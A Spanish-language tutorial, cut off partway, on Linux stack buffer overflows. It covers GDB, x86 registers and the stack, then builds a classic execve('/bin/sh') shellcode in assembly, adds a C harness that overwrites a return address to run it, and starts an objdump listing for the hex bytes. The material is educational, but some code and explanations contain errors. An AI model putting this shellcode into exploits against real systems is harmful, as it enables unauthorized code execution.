Shellcodes en Linux
Shellcodes en Linux
Information Technology
Security Research & Development
email | callelovera@[Link]
Shellcode en Linux
Exploit Buffer Overflow
Ovidio Oswaldo Calle Lovera / CNNA, MCSE, LPI, RHCSE
¡Advertencia!
El mal uso intencionado de los conocimientos expuestos en el presente tiene
responsabilidades legales para el que incurra en ello.
Declaraciones rápidas:
Los hackers no son criminales, los criminales son los crackers (aún asi mismo dependen de cada caso).
Las prácticas aqui expuestas es para aprender mas sobre la seguridad y redes de computadoras. No es
para quien piensa invadir o desfigurar páginas, robar tarjetas de crédito o alguna otra payasada de este
tipo. Si para usted alguna de esas cosas es demostrar poder, vuelva cuando haya dejado los pañales.
Shellcodes en Linux
Objetivo
int main(void) {
char nombre[20];
strcpy(nombre, “PEPE”);
printf(“Mi nombres es %s”, nombre);
return(0);
}
Es un sencillo programa escrito en lenguaje C que muestra en la
pantalla el mensaje “Mi nombre es PEPE”.
ovi@stake$ gcc o main main.c
ovi@stake$ ./main
Mi nombre es PEPE
ovi@stake$
Descripcion
Explicamos un poco:
En la variable “nombre” se almacena el valor PEPE para su posterior
impresión en la pantalla. Dicha variable “nombre” es de tipo caracter
(char) y tiene un tamaño predefinido: 20 caracteres. Por tanto a grandes
rasgos: lo primero que hace es reservar 20 bytes en la memoria para la
variable “nombre”. Con esto deducimos que esta variable es un Buffer
de 20 bytes o caracteres.
La vulnerabilidad de las inundaciones de buffer no es algo nuevo, este
tipo de ataques existen desde los años 80 (Robert T. Morris).
Actualmente existen dos tipos de técnicas:
- Inundacion de buffer de pila, la que trataremos aqui.
- Inundación de buffer por datos masivos. Este tipo de ataque es menos
frecuente.
Sistemas afectados
1. La familia de sistemas operativos Windows.
Windows XP
Windows 200 Professional
Windows 200 Server
Windows 2003 Server
etc...
2. Sistemas operativos tipo UNIX
Solaris
SunOS
HP-UX
AIX
etc...
3. Entornos Linux
Red Hat
Fedora
Suse
Debian
etc.
4. Sistemas MacOS
Sistemas afectados
Debido a que existen muchos tipos de sistemas operativos y miles de
programas dentro de cada uno de ellos, existen cientos y cientos de tipos
de exploits. Actualmente, debido a esto y la complejidad de un exploit,
se suele juzgar la habilidad de un hacker por la facilidad de realizar o
comprender dichos programas, porque en el fondo un exploit es un
programa.
Nada tiene que esto que ver con el hecho de ejecutarlos. El verdadero
reto esta en el estudio y desarrollo de los mismos, pero nunca en el
aprovechamiento de dichas herramientas para fines no legitimos o
ilegales.
El estudio de los programas exploit deber ser materia obligada para
cualquier administrador de sistemas, ya que con el dicho conocimiento
estará mas capacitado para dar una respuesta al sistema ante un
problema de seguridad.
Qué es el GDB
Es fundamental tener ciertas nociones en el conocimiento y uso de
programas de tipo debug (depuradores), los cuales se encargan de
examinar lo que sucede durante la ejecución de un programa a nivel de
máquina.
En el mundo GNU, sin duda alguna, la más importante es GDB: GNU
DeBugger. GDB permite ver lo que sucede dentro de programas escritos en
diferentes lenguajes, como por ejemplo C, C++, etc..
Algunas caracteristicas mas importantes de GDB son:
Se puede hacer debug de programas o complejos, entendiendo por progrmas
complejos aquellos que utilizan múltiples archivos.
Se puede detener la ejecución de un programa a travéz de los puntos de
ruptura, conocidos como breakpoints.
Se puede detener la ejecución de un programa con puntos de ruptura por
condiciones, denominados watchpoints.
Qué es el GDB
Se puede detener un programa cuando éste recibe una señal externa, lo que
se nombra como catchpoints.
Durante la ejecución del programa se puede consultar el valor de distintas
expresiones (displays)
Además de visualizar estos valores es posible cambiar su valor sin
necesidad de reiniciar el programa.
Se puede depurar programas finalizados, en ejecución o que esta a punto de
iniciarse su ejecución.
Con GDB se puede obtener información de los ficheros core (coredump).
En el mundo Unix/Linux existen muchos otros debuggers, pero la mayoria
dependen de GDB. GDB se utiliza desde la linea de comandos, pero tambien
los hay en modo grafico, como puede ser el DDD, XXGDB o KGDB entre
otros.
Primeros pasos con GDB
Para los ejemplos asumimos el uso de Linux, cuya distribución es
Debian. Los paquetes necesarios son: gdb, libc6dev, ncursesdev
Para instalar los paquetes en Debian ejecutamos el siguiente comando:
stake:~# aptget install gdb libc6dev ncursesdev
Para visualizar los detalles del paquete se ejecuta el siguiente comando:
stake:~# aptcache show gdb
Package: gdb
Priority: standard
Section: devel InstalledSize: 5368
Maintainer: Daniel Jacobowitz <dan@[Link]>
Architecture: i386 Version: 6.36
Replaces: gdbarm, insight (<< 6.1+cvs.2004.04.071)
Depends: libc6 (>= 2.3.2.ds121), libncurses5 (>= 5.41), libreadline4 (>= 4.31)
Conflicts: gdbarm Filename: pool/main/g/gdb/gdb_6.36_i386.deb
Size: 2767820 MD5Sum: ec8ffd4489eca48d19ebb93e704a735b
Description: The GNU Debugger
GDB is a sourcelevel debugger, capable of breaking programs at
any specific line, displaying variable values, and determining
where errors occurred. Currently, it works for C, C++, Fortran
Modula 2 and Java programs. A musthave for any serious
programmer.
Primeros pasos con GDB
Para iniciar GDB, que se puede hacer de dos formas: demanera
interactiva o cargar directamente el programa con que se va a trabajar.
ovi@stake:~$ gdb
GNU gdb 6.3debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386linux".
(gdb)
Una segunda forma es cargar directamente el programa:
ovi@stake:~$ gdb bug2
GNU gdb 6.3debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386linux"...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb)
Primeros pasos con GDB
Si el programa con el que se queria trabajar ha dado problemas y
tenemos su archivo core, se procederá con el siguiente comando:
ovi@stake:~$ gdb programa core
Para debuggear con GDB un programa en ejecucion primero necesitamos
saber el número de PID (Process Identifier). Al ejecutar este último comando
se detiene el proceso y es el usuario quien continua por medio de GDB con su
ejecución.
Localizamos el PID de algún proceso con el comanso ps
stake:~# ps aux | grep cron
root 4225 0.0 0.1 1880 716 ? Ts 20:02 0:00 cron
Primeros pasos con GDB
Acontinuacion depuramos el programa en ejecución: cron.
ovi@stake:~$ gdb attach 4225
GNU gdb 6.3debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386linux"...
Attaching to process 4225
Using host libthread_db library "/lib/tls/libthread_db.so.1".
Reading symbols from /usr/sbin/cron...(no debugging symbols found)...done.
Reading symbols from /lib/[Link].0...(no debugging symbols found)...done.
Loaded symbols for /lib/[Link].0
Reading symbols from /lib/tls/[Link].6...(no debugging symbols found)...done.
Loaded symbols for /lib/tls/[Link].6
Reading symbols from /lib/tls/[Link].2...
(no debugging symbols found)...done.
Loaded symbols for /lib/tls/[Link].2
Reading symbols from /lib/ld[Link].2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld[Link].2
Reading symbols from /lib/tls/libnss_compat.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/tls/libnss_compat.so.2
Reading symbols from /lib/tls/[Link].1...
Comandos básicos GDB
Los comandos basicos del depurador GDB:
quit: Además de saber entrar hay que saber salir.
help: Este comando es el mas importante como en todos los programas.
run [argumentos]:Se inicia la ejecución del programa cargado con los
posibles argumentos.
set args: Sirve para especificar los argumentos del programa antes de
ejecutar el comando run.
bt: Se visualiza la información de la pila del programa (stack).
print expresion: Muestra el valor de una expresión.
continue:Le ordena al programa continuar desde donde se detuvo.
next: Ejecuta la siguiente linea del programa, pero sin entrar dentro de
las funciones.
step: Hace lo mismo que el comando next, la diferencia es que entra
dentro de las funciones.
Diferencias entre AT&T y x86
Hay que saber que existen diferencias entre los distintos lenguajes de
ensamblador para los entornos Windows y los Unix. La realidad es que
incluso dentro de una misma plataforma, existen distintos compiladores de
ensamblador. Existe una normalización llamada AT&T para entornos UNIX y
otra llamada x86 para las plataformas Windows.
Acontinuación se detallan las principales diferencias:
1. La forma de nombrar los registros en AT&T es anteponiendo el caracter %,
ejemplo: %EAX, en cambio en x86 se escribe directamente.
2. En la sintaxis, los valores en AT&T van precedidos del caracter $, por
ejemplo: $0x18 (valor 24 en el sistema decimal), x86 en cambio no lleva.
3. En la sintaxis de x86 el destino de una operación se indica en el primer
parámetro de una instrucción y el origen en el segundo parámetro de la
misma. En cambio, en la sintaxis AT&T es justamente lo contrario, el destino
de una operación se indica en el segundo parámetro y el origen en el primer
parámetro.
Diferencias entre AT&T Y x86
4. En muchas instrucciones de AT&T, la forma de incarle a la CPU cual es el
tamaño de los parámetros que se la pasan a la instrucción en cuestión es por
medio de un caracter al final de la instrucción.
Este caracter puede tener los siguientes valores: “b” para indicar que el
operando es de 8 bits, “w” que es una palabra de 16 bits y “l” que es de 32
bits. Asi por ejemplo, la instrucción MOV la podemos encontrar como:
MOVB, MOVW o MOVL.
5. Los direccionamientos a memoria tienen una manera muy distinta de
expresarse.
En la sintaxis x86 la forma de establecer una dirección completa es:
SECCION:[BASE + INDICE * ESCALA + DISP]
Stack frame
Áreas
Monton (heap) de
memoria
BSS
Datos (data)
Código (code), textos Máxima direccion de memoria
Que hay en la memoria
La región de textos está formada por el código del programa, es decir, lo que
son las instrucciones de un ejecutable, y por los datos de solo lectura. Por tanto,
el intento de escritura en esta región provocaria un error.
La región de datos contiene eso mismo, ya sean datos inicializados o no.
También es conocida como la región BSS. Esta región almacena variables
estáticas.
En cambio las variables dinámicas, que son las que interesan para los Buffer
Overflow, estas variables se encuentran en la pila, conocidas tambien como
variables automáticas.
Por ejemplo, la siguiente declaracion de variable se guarda en la zona de datos
no inicializados:
init i;
En cambio si se modifica la declaración:
init i = 5;
Asi conseguimos que la variable se guarde en la region de datos inicializados.
Conocimiento básico de la pila: stack
La pila es una estructura de datos que se caracteriza por ser un objeto que
tiene la propiedad de que el último objeto colocado en la misma será el
primero en salir: esta cualidad se llama LIFO (last input, first input).
Este interesante tener claro haste este punto, que la pila es un lugar de la
memoria donde se almacena información y se libera: funcionalidad dinamica.
Para llevar a cabo estas dos operaciones maneja dos funciones que en lenguaje
ensanblador son:
1. PUSH: que significa poner palabra en la pila (push word onto stack). En
esta acción, PUSH agrega dicho elemento a la parte superior de la pila.
2. POP: significa quitar palabra de la pila (word off stack to destination).
Disminuye el tamaño de la pila quitándole el último elemento de la parte
superior de la pila.
¿Que son los registros?
Los registros son unas estructuras internas de la CPU para mantener
comunicación directa entre la memoria y la unidad aritmética.
Los registros contienen el valor de una palabra y por tanto sirven para
almacenar valores de tamaño palabra.
Cuando a un registro se le asigna un nuevo valor, pierde el dato antiguo.
Mientras que la memoria está formada por palabras, un registro sólo contiene
una palabra.
En las modernas arquitecturas los registros tienen un tamaño de 32 bits.
Existen distintos tipos de registros, los cuales se dividen en cuatro categorias:
1. Registros generales
2. Registros de segmento
3. Registros de offset
4. Otros registros: Son registro especiales utilizados por la propia CPU.
Registros generales
Se utilizan para manipular datos, se encuentran los siguientes:
1. %EAX: A este registro se le denomina acumulador, es donde se situan los
resultados de las operaciones matemáticas como DIV o MUL. Se puede
dividir en dos subregistros de 16 bits cada una, lo que suman 32 bits que tiene
el registro %eax.
De estos dos subregistros, al menos significativo, es decir al de la derecha, el
que va del bit 0 al 15 se le denomina registro AX y este a su vez se puede
dividir en otros dos registros de 8 bits cada uno nombrados como AH y AL.
31 16 15 8 7 0
AH AL
AX
EAX
Registros generales
2. %EBX: Sucede lo mismo que al registro EAX, se divide en registro de 16
bits llamado BX, y este a su vez en dos regsitros de 8 bits denominados BH y
BL.
31 16 15 8 7 0
BH BL
BX
EBX
Registros generales
3. %ECX: La mision especial de este registro es la de servir de contador de
buclesy en operaciones en cadenas. Tambien se tiene un subregsitro de 16
bits llamado CX, y este a su vez dos registros de 8 bits denominados CH y CL.
31 16 15 8 7 0
CH CL
CX
ECX
Registros generales
4. %EDX: Se le conoce como puntero de entrada y salida, dada su implicación
con los puertos. Se puede dividir en el registro DX de 16 bits, y este se divide
en los registros DH y DL de 8 bits cada uno.
31 16 15 8 7 0
DH DL
DX
EDX
Registros de segmento
Son registros de 16 bits, los cuales contienen laprimera parte de una direccion
de memoria:
1. %CS: Este el registro de segmento de ejecución, lo que significa que es
la primera parte de la dirección que se esta ejecutando. La dirección completa
de la instrucción que se esta ejecutando se encuentra en CS:EIP, lo que
significa que nos referimos a la dirección EIP del segmento CS.
2. %DS: Es normalmente el registro de datos.
3. %SS: Es el registro de la pila, por lo que la pila está en la dirección de
SS:ESP.
Registros offset
Estos registros indican un offset relacionado con un registro de segmento.
Tenemos cinco tipos de registros offset:
1. %EIP (Extended Instruction Pointer): EIP sabe la dirección de la siguiente
instrucción que va ser ejecutada.
2. %EBP (Extended Base Pointer): EBP sabe cual es el inicio local para una
funcion
31 16 15 8 7 0
BP
EBP
Registro EBP
Registros offset
3. %ESI (Extended Source Index): ESI contiene el offset de los datos destino
de datos en una operación que se usa un bloque de memoria.
31 16 15 8 7 0
SI
ESI
Registro ESI
Registros offset
4. %EDI (Extended Destiantion Index): EDI contiene el offset de los datos
destino de datos en una operación que usa un bloque de memoria.
31 16 15 8 7 0
DI
EDI
Registro EDI
5. %ESP (Extended Stack Pointer): ESP sabe cual es la cima de la pila.
El registro EIP
La forma de saber lo que tiene que hacer nuestro procesador en cada
ciclo del mismo es por medio del registro EIP (Extended Instruction
Pointer). Dicho registro le dice a la CPU donde se encuentra la siguiente
instrucción a ejecutar.
Realmente lo que contiene el registro EIP es la dirección donde esta
dicha instrucción. Lo normal es que las direcciones sean secuenciales,
éstas son calculadas por el propio procesador y la distancia entre
direcciones dependerá del tamaño de la instrucción a ejecutar.
Es por ello que aunque las direcciones sean secuenciales, no suele haber
un byte de distancia entre ellas en todos los casos.
Por ejemplo supongamos el siguiente ejemplo:
push %epb
mov %esp, %epb
El registro EIP
Explicamos un poco:
Supongamos que al llegar a la primera intrucción nos encontramos en la
dirección de memoria 0x00401058. Como la intrucción PUSH sólo
necesita de un byte, la instrucción MOV se encontrará en la dirección de
memoria 0x00401059.
Todo esto es ideal cuando no hay instrucciones del tipo salto (JMP:
jump). La realidad no es tan fácil.
Cada vez que el código se bifurca (jump) la direccion a la que cambia
no va a ser secuencial y por tanto hay que controlar los retornos, si fuese
el caso. Para ello, antes de la propia bifurcación hay que guardar la
dirección de la siguiente instrucción en un registro de forma temporal
(registro EDX).
Para que cuando el salto acabe, se vuelva a escribir esa dirección del
registro EDX en el EIP.
El registro EIP
De esta forma podemos implementar un mecanismo para simular
llamadas a funciones, pero no es ideal y seria demasiado tedioso.
La arquitectura INTEL nos proporciona dos instrucciones que nos
facilita el trabajo. Estas son: CALL (call a procedure) y RET (return).
Con la instrucción CALL, hacemos un salto al llamar a otra función,
pero ella misma se encarga de todo lo explicado anteriormente.
Asi cuando RET se ejecute, la instrucción CALL ejecutada previamente
ya se habrá asegurado de controlar la integridad de un programa.
Lo que ocurre es que CALL hace PUSH de la siguiente dirección EIP
en la pila, así que cuando se ejecuta RET, lo que se hace es POP de esa
dirección de retorno de la pila y continua el flujo normal del programa.
Los registros ESP y EBP
En la pila existe otro tipo de puntero llamado FP (Frame Pointer) el cual
apunta a la localización de uno de los trozos que indicábamos
anteriormente (frames). Este puntero se utiliza para saber dónde se
encuentran, dentro de la pila, las variables locales y los parametros de
una función.
Para este tipo de propósitos, los del FP, se utiliza el segmento EBP
(Extended Base Pointer). Con todo esto vamos a definir los pasos
básicos que se realizan cuando se llama a una función desde un
programa:
1. Guardar el valor que existe en FP para que pueda ser restaurado al
terminar la función.
2. Copiar SP dentro de FP para crear un nuevo FP.
3. Crear el espacio pertinente en la pila para reservar memoria para las
variables locales.
Los registros ESP y EBP
A estos tres primeros pasos se les conoce como el prologo de un
procedimiento o procedur log. Estos tres pasos en Assembler serian:
push %ebx
mov %esp, %ebp
push {valor}, %esp
Hasta este punto esta claro que la pila es un sitio bastante dinámico en la
cual entra información por medio de PUSH y sale con la instrucción
POP liberando a la pila de dicha información.
Los registros ESP
Para encontrar o datos que se encuentran en la pila utilizamos
direcciones de memoria.
Existe un registro llamado ESP (Extended Stack Pointer), que es el
encargado de mantener dichas direcciones para saber donde están los
distintos dados en la pila.
La manera de almacenar las direcciones de la pila en el ESP se conoce
como “direccionamiento reltivo”, lo que significa que ESP contiene las
direcciones relativas de memoria para saber donde están los datos en la
pila.
Veamo a fondo con un ejemplo para entender todo esto mejor.
El siguiente ejemplo no es un programa muy útil, pero si lo es para
entender el funcionamiento del microprocesador.
Los registros ESP
El siguiente programa lo que hace es llamar a una función y le pasa dos
parámetros con los valores 1 y 2. Esta función lo único que hace hace es
crear en memoria una variable, que en este caso es un array de tamaño
4 de tipo caracter.
//
// ejemplo2.c
//
void funcion(int a, int b){
char cad1[4];
}
int main(void) {
funcion(1, 2);
}
(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>: push %ebp
0x0804835d <main+1>: mov %esp,%ebp
0x0804835f <main+3>: sub $0x8,%esp
0x08048362 <main+6>: and $0xfffffff0,%esp
0x08048365 <main+9>: mov $0x0,%eax
0x0804836a <main+14>: sub %eax,%esp
0x0804836c <main+16>: movl $0x2,0x4(%esp)
0x08048374 <main+24>: movl $0x1,(%esp)
0x0804837b <main+31>: call 0x8048354 <funcion>
0x08048380 <main+36>: leave
0x08048381 <main+37>: ret
End of assembler dump.
(gdb)
Los registros ESP
Desde el promt de GDB ejecutamos disas main
Este desensambla una sección de memoria. En nuestro caso hemos
desensamblado la funcion main(). Los datos relevantes que muestra son:
1. push %ebp: Esta es la primera instrucción que nos encontramos nada
más iniciar la ejecución del programa, y lo que hace es guardar la
dirección del registro EBP en la pila.
2. mov %esp,%ebp: Se copia de la pila del registro EBP. Estas dos
funciones son los denominados procedur log.
3. movl $0x2,0x4(%esp) y movl $0x1,(%esp): En estas dos instrucciones se
le están pasando a la pila los valores 2 y 1, que se pasan en el main al
llamar a la función funcion(). Como se puede observar, el paso de los
parámetros en una función cuando se ponen en la pila se hace de manera
inversa
Los registros ESP
4. push %ebp: Aquí se llama a la función funcion().
Veamos ahora lo que pasa dentro la función:
(gdb) disas funcion
Dump of assembler code for function funcion:
0x08048354 <funcion+0>: push %ebp
0x08048355 <funcion+1>: mov %esp,%ebp
0x08048357 <funcion+3>: sub $0x4,%esp
0x0804835a <funcion+6>: leave
0x0804835b <funcion+7>: ret
End of assembler dump.
(gdb)
Nuevamente nos encontramos con el procedur log que viene marcado
por las dos primeras instrucciones. La tercera instrucción:
sub $0x4,%esp
(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>: push %ebp
0x0804835d <main+1>: mov %esp,%ebp
0x0804835f <main+3>: sub $0x8,%esp
0x08048362 <main+6>: and $0xfffffff0,%esp
0x08048365 <main+9>: mov $0x0,%eax
0x0804836a <main+14>: sub %eax,%esp
0x0804836c <main+16>: movl $0x2,0x4(%esp)
0x08048374 <main+24>: movl $0x1,(%esp)
0x0804837b <main+31>: call 0x8048354 <funci>
0x08048380 <main+36>: leave
0x08048381 <main+37>: ret
End of assembler dump.
Los registros ESP
(gdb) disas funci
Dump of assembler code for function funci:
0x08048354 <funci+0>: push %ebp
0x08048355 <funci+1>: mov %esp,%ebp
0x08048357 <funci+3>: sub $0x28,%esp
0x0804835a <funci+6>: leave
0x0804835b <funci+7>: ret
End of assembler dump.
(gdb)
stake:~# gdb scode
Shellcode en Linux
stake:~# gdb scode
GNU gdb 6.3debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386linux"...Using host libthread_db library
"/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048214 <main+0>: push %ebp
0x08048215 <main+1>: mov %esp,%ebp
0x08048217 <main+3>: sub $0x18,%esp
0x0804821a <main+6>: and $0xfffffff0,%esp
0x0804821d <main+9>: mov $0x0,%eax
0x08048222 <main+14>: sub %eax,%esp
0x08048224 <main+16>: movl $0x8095e88,0xfffffff8(%ebp)
0x0804822b <main+23>: movl $0x0,0xfffffffc(%ebp)
0x08048232 <main+30>: movl $0x0,0x8(%esp)
0x0804823a <main+38>: lea 0xfffffff8(%ebp),%eax
Shellcode en Linux
0x0804823d <main+41>: mov %eax,0x4(%esp)
0x08048241 <main+45>: mov 0xfffffff8(%ebp),%eax
0x08048244 <main+48>: mov %eax,(%esp)
0x08048247 <main+51>: call 0x804df10 <execve>
0x0804824c <main+56>: movl $0x0,(%esp)
0x08048253 <main+63>: call 0x8048b70 <exit>
End of assembler dump.
Las llamadas al sistema en este listado se encuentran en las direcciones de
memoria 0x08048247 y 0x08048253, que es donde se producen las instrucciones
call a las funciones execve y exit, que se han utilizado en el programa
“scode”.
Para examinar el contenido de la memoriacon gdb se utliza el comando
printf, con sintaxis similar al lenguaje C. Por ejemplo, para localizar la
cadena “/bin/sh”, que es lo ejecuta la shell, hacemos lo siguiente:
(gdb) printf "%s\n", 0x8095e88
/bin/sh
Shellcode en Linux
(gdb) printf "%s\n", 0x8095e89
bin/sh
(gdb) printf "%s\n", 0x8095e8a
in/sh
(gdb) printf "%s\n", 0x8095e8b
n/sh
(gdb) printf "%s\n", 0x8095e8c
/sh
(gdb) printf "%s\n", 0x8095e8d
sh
(gdb) printf "%s\n", 0x8095e8e
h
(gdb) printf "%s\n", 0x8095e8f
(gdb)
La palabra %s se sustituye por el valor de la dirección 0x8095e88, la cual
contiene el valor “/bin/sh”. Acontinuacion se le solapa con un \n, que quiere
decir un salto de linea. Esto se deduce porque en la instrucción : 0x08048224
<main+16>: movl $0x8095e88,0xfffffff8(%ebp); se rellena el registro con el
valor que contenga la dirección: 0x8095e88; que es justo lo que se examina con
el comando printf.
Shellcode en Linux
A continuación se muestra un listado con el detalle de desensamblar las
funciones utilizadas en el programa scode.c: execve() y exit.
(gdb) disas execve
Dump of assembler code for function execve:
0x0804df10 <execve+0>: push %ebp
0x0804df11 <execve+1>: mov $0x0,%eax
0x0804df16 <execve+6>: mov %esp,%ebp
0x0804df18 <execve+8>: push %ebx
0x0804df19 <execve+9>: test %eax,%eax
0x0804df1b <execve+11>: mov 0x8(%ebp),%ebx
0x0804df1e <execve+14>: je 0x804df25 <execve+21>
0x0804df20 <execve+16>: call 0x0
0x0804df25 <execve+21>: mov 0xc(%ebp),%ecx
0x0804df28 <execve+24>: mov 0x10(%ebp),%edx
0x0804df2b <execve+27>: mov $0xb,%eax
0x0804df30 <execve+32>: int $0x80 (llamada al kernel)
0x0804df32 <execve+34>: cmp $0xfffff000,%eax
0x0804df37 <execve+39>: mov %eax,%ebx
0x0804df39 <execve+41>: ja 0x804df40 <execve+48>
Shellcode en Linux
0x0804df3b <execve+43>: mov %ebx,%eax
0x0804df3d <execve+45>: pop %ebx
0x0804df3e <execve+46>: pop %ebp
0x0804df3f <execve+47>: ret
0x0804df40 <execve+48>: neg %ebx
0x0804df42 <execve+50>: call 0x8048a50 <__errno_location>
0x0804df47 <execve+55>: mov %ebx,(%eax)
0x0804df49 <execve+57>: mov $0xffffffff,%ebx
0x0804df4e <execve+62>: jmp 0x804df3b <execve+43>
End of assembler dump.
(gdb) disas exit
Dump of assembler code for function exit:
0x08048b70 <exit+0>: push %ebp
0x08048b71 <exit+1>: mov %esp,%ebp
0x08048b73 <exit+3>: push %esi
0x08048b74 <exit+4>: push %ebx
0x08048b75 <exit+5>: sub $0x10,%esp
0x08048b78 <exit+8>: mov 0x80ab94c,%edx
0x08048b7e <exit+14>: mov 0x8(%ebp),%esi
0x08048b81 <exit+17>: test %edx,%edx
0x08048b83 <exit+19>: je 0x8048bfa <exit+138>
Shellcode en Linux
0x08048b85 <exit+21>: lea 0x0(%esi),%esi
0x08048b89 <exit+25>: lea 0x0(%edi),%edi
0x08048b90 <exit+32>: mov 0x4(%edx),%eax
0x08048b93 <exit+35>: test %eax,%eax
...............................................
0x08048c0a <exit+154>: call 0x804defc <_exit>
..........................
0x08048c3f <exit+207>: nop
End of assembler dump.
(gdb) disas _exit
Dump of assembler code for function _exit:
0x0804defc <_exit+0>: mov 0x4(%esp),%ebx
0x0804df00 <_exit+4>: mov $0xfc,%eax
0x0804df05 <_exit+9>: int $0x80
0x0804df07 <_exit+11>: mov $0x1,%eax
0x0804df0c <_exit+16>: int $0x80
0x0804df0e <_exit+18>: hlt
0x0804df0f <_exit+19>: nop
End of assembler dump.
(gdb)
Shellcode en Linux
Se ha vuelto a utilizar el comando “disas” del programa gdb. Se observa en la
función exit() en la instrucción: 0x08048c0a <exit+154>: call 0x804defc <_exit>;
llama a otra función denominada _exit(). Esto quiere decir que se pude
escribir código C que este mas cerca al sistema, al igual que sucede con
ensamblador. Esto es debido a que la función exit() es una función que tiene
internamente implícita la llamada al sistema _exit(), por lo que una nueva
versión de fuente scode.c a scode2.c sera:
/*
* scode2.c
/*
*/
#include <stdio.h>
int main(void) {
char * programa[] = {“/bin/sh”, NULL};
execve(programa[0], programa, NULL);
_exit(0);
} // fin del main
La forma de incluir un shellcode dentro de un programa que es vulnerable a
través de un argumento de entrada del mismo programa o a través de las
variables del entorno. El problema es que por defecto no se conoce la
dirección de memoria que va a utilizar el shellcode y es necesario conocer la
dirección usará la cadena /bin/sh, como se mostró en los listados anteriores.
Para ello, cuando se llama a una subrutina en ensamblador con la instrucción
call, la CPU almacena la dirección de regreso en la pila, que es la dirección
que sigue inmediatamente a dicha instrucción (call).
Despues de esta instrucción el paso siguiente es guardar el estado de la pila y
se hace con el registro %EBP por medio de la instrucción push %ebp.
El obejtivo es obtener la dirección de regreso al llamar a la subrutina, para ello
basta con ver cual es el elemento de la cima de la pila mediante la instrucción
de ensamblador POP.
Shellcode en Linux
El siguiente paso es almacenar la cadena “/bin/sh” inmediatamente despues de
la instrucción call para permitir que el “procedur prolog” proporcione la
dirección de memoria de la cadena “/bin/sh”.
Otro detalle a tener en cuenta a la hora de construir códigos de shell es el
problema de los bytes null. Este problema ocurre en las funciones de C de
manipulacion de cadenas, com por ejemplo la función strcpy(). Dichas
funciones se detienen en cuanto encuentran un caracter NULL, po lo que el
codigo shell no debe incluir este tipo de caracteres.
Al final con todo esto se construye el siguiente código en ensamblador:
/* */
/* [Link] */
/* */
jmp subrutina_call
subrutina:
popl %esi /* Obtiene la direccion de /bin/sh. */
movl %esi, 0x8(%esi) /* Se guarda en el primer elemento del array */
Shellcode en Linux
xor %eax, %eax
movl %eax, 0xc(%esi) /* Se guarda NULL despues de /bin/sh en el array. */
movl %eax, 0x7(%esi) /* Se coloca el byte NULL al final del array. */
movb $0xb, %al /* Funcion execv(). */
movl %esi, %ebx /* Asigna a EBX la cadena a ejecutar */
leal 0x8(%esi), %ecx /* */
leal 0xc(%esi), %edx /* */
int $0x80 /* Llamada de sistema > SystemCall */
xorl %ebx, %ebx /* Devuelve NULL */
movl %ebx, %eax /* Funcion _exit() */
inc %eax
int $0x80 /* Llamada al sistema > SystemCall */
subrutina_call:
call subrutina
.string "/bin/sh"
Shellcode en Linux
Para comprobar que el código escrito en ensamblador anterior funciona hay
que incrustar en un programa C y probarlo.
/* */
/* scode3.c */
/* */
shellcode() {
__asm__(" jmp subrutina_call \n \
subrutina: \n \
popl %esi \n \
movl %esi, 0x8(%esi) \n \
xor %eax, %eax \n \
movl %eax, 0xc(%esi) \n \
movl %eax, 0x7(%esi) \n \
movb $0xb, %al \n \
movl %esi, %ebx \n \
leal 0x8(%esi), %ecx \n \
leal 0xc(%esi), %edx \n \
int $0x80 \n \
Shellcode en Linux
xorl %ebx, %ebx \n \
movl %ebx, %eax \n \
inc %eax \n \
int $0x80 \n \
subrutina_call: \n \
call subrutina \n \
.string \"/bin/ls\" \n \
");
} // Fin del shellcode()
main() {
int *ret;
char codigo[1024];
strcpy(codigo, (char*)shellcode);
ret+=2;
*ret = (int)codigo;
} // Fin del main().
Shellcode en Linux
Este metodo es muy útil para probar códigos de shell. Esto se hace antes de
convertirlos a la famosa cadena en hexadecimal que se va a mostrar a
continuación.
Esto quiere decir que toda instrucción en ensamblador tiene su valor
correspondiente en el sistema hexadecimal, al igual que su valor en el sistema
binario.
Para crear la cadena en hexadecimal se puede hacer de la siguiente forma:
primero se crea un programa en C (scode4.c), el cual sólo contiene las
instrucciones en ensamblador que representa el código de shell.
/* */
/* scode4.c */
/* */
cont.....
Shellcode en Linux
main() {
__asm__(" jmp subrutina_call \n \
subrutina: \n \
popl %esi \n \
movl %esi, 0x8(%esi) \n \
xorl %eax, %eax \n \
movl %eax, 0xc(%esi) \n \
movb %al, 0x7(%esi) \n \
movb $0xb, %al \n \
movl %esi, %ebx \n \
leal 0x8(%esi), %ecx \n \
leal 0xc(%esi), %edx \n \
int $0x80 \n \
xorl %ebx, %ebx \n \
movl %ebx, %eax \n \
inc %eax \n \
int $0x80 \n \
subrutina_call: \n \
call subrutina \n \
.string \"/bin/ls\" \n \
");
}
Shellcode en Linux
El programa se compila como de costumbre y se utiliza la utilidad objdump,
la cual muestra en pantalla las instrucciones en ensamblador junto con sus
valores en hexadecimal.
ovi@stake:~$ objdump disassemble scode4
scode4: formato del fichero elf32i386
08048354 <main>:
8048354: 55 push %ebp
8048355: 89 e5 mov %esp,%ebp
8048357: 83 ec 08 sub $0x8,%esp
804835a: 83 e4 f0 and $0xfffffff0,%esp
804835d: b8 00 00 00 00 mov $0x0,%eax
8048362: 29 c4 sub %eax,%esp
8048364: eb 1f jmp 8048385 <subrutina_call>
Shellcode en Linux
08048366 <subrutina>:
